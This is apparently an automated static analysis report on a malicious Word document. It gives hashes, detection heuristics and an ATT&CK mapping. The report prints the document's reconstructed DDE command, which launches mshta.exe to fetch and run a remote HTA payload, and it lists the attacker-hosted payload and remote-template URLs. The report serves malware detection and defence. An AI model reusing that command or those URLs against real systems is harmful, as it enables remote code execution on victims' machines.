Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 16211acf79307914…

MALICIOUS

Office (OOXML)

11.3 KB Created: 2018-09-12 19:09:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2019-08-04
MD5: 41673e6b40795d577933691db37950eb SHA-1: 2a46edd31b96a7f50a01756ae470bc7c9943e120 SHA-256: 16211acf79307914e0d025b4936013f0c46010f4efce40917c963f1da3b7035b
242 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution

The sample contains a critical DDE execution heuristic firing, indicating an attempt to run mshta.exe with a remote HTA payload. The document body explicitly contains the DDE command, which reconstructs to 'C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\Windows\System32\mshta.exe "http://tunjihost.ga/hta/xukwa.hta"'. This command is designed to download and execute a malicious script from the provided URL, likely leading to further infection.

Heuristics 6

  • ClamAV: Doc.Exploit.DDEautoexec-6346603-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Exploit.DDEautoexec-6346603-1
  • Malicious DDE command critical OOXML_DDE_MALICIOUS
    DDE field in word/document.xml launches a dangerous executable: \\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\Sy
  • Remote template injection high OOXML_REMOTE_TEMPLATE
    Document references a remote template URL (http://chainonline.info/doc/xukwa.doc) — a common remote-template-injection vector used by Hancitor, Emotet and many phishing campaigns. Word can fetch and apply the remote template; macros in that template may execute depending on Office policy and trust state.
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/webSettings.xml.rels: http://chainonline.info/doc/xukwa.doc
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://tunjihost.ga/hta/xukwa.hta In document text (OOXML body / shared strings)
    • http://chainonline.info/doc/xukwa.docRemote template reference
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

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